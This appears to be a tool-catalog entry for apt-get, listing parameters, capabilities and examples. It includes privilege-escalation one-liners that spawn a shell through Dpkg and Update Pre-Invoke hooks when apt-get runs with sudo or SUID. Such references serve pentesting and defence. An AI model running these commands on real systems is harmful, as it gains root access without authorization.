package enabled verified medium v1.0.0

apt-get

APT package manager that can execute arbitrary commands via dpkg pre-invoke hooks or update pre-invoke.

📋 Live Preview
apt-get {y} {install} {c} {o}
๐Ÿ“Ž y ๐Ÿ“Ž install ๐Ÿ“Ž c ๐Ÿ“Ž o
apt-get {y} {install} {c} {o}

Sandbox: execFile · Timeout: 60s

Capabilities

security.execution.command
security.privilege-escalation.shell
system.package.install

Parameters

Name Type Required Default Description Aliases
y string No - Assume yes to prompts -y
install string No - Install packages install
c file No - Config file -c
o string No - Set an arbitrary config option -o

Contract

Inputs

system.package.name

Package name to install

Outputs

process.output

Command execution output

Side effects: process_spawnfilesystem_write

Workflow Edges

Produces

process.output

Consumes

system.package.name

Resource Profile

ResourceValue
CPUlow
Memory32 MB
Networkmedium
Disk I/Omedium

Examples

Spawn shell via Dpkg Pre-Invoke config

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file
apt-get -y install -c /path/to/temp-file sl

Spawn shell via Update Pre-Invoke option

apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

Read changelogs via less pager

apt-get changelog apt

Documentation

apt-get โ€” APT Package Manager

apt-get is the command-line package manager for Debian-based systems. It can be abused to execute arbitrary commands via Dpkg pre-invoke hooks or update pre-invoke options when used with sudo or SUID.

Related Tools

aptaptitudedpkg

References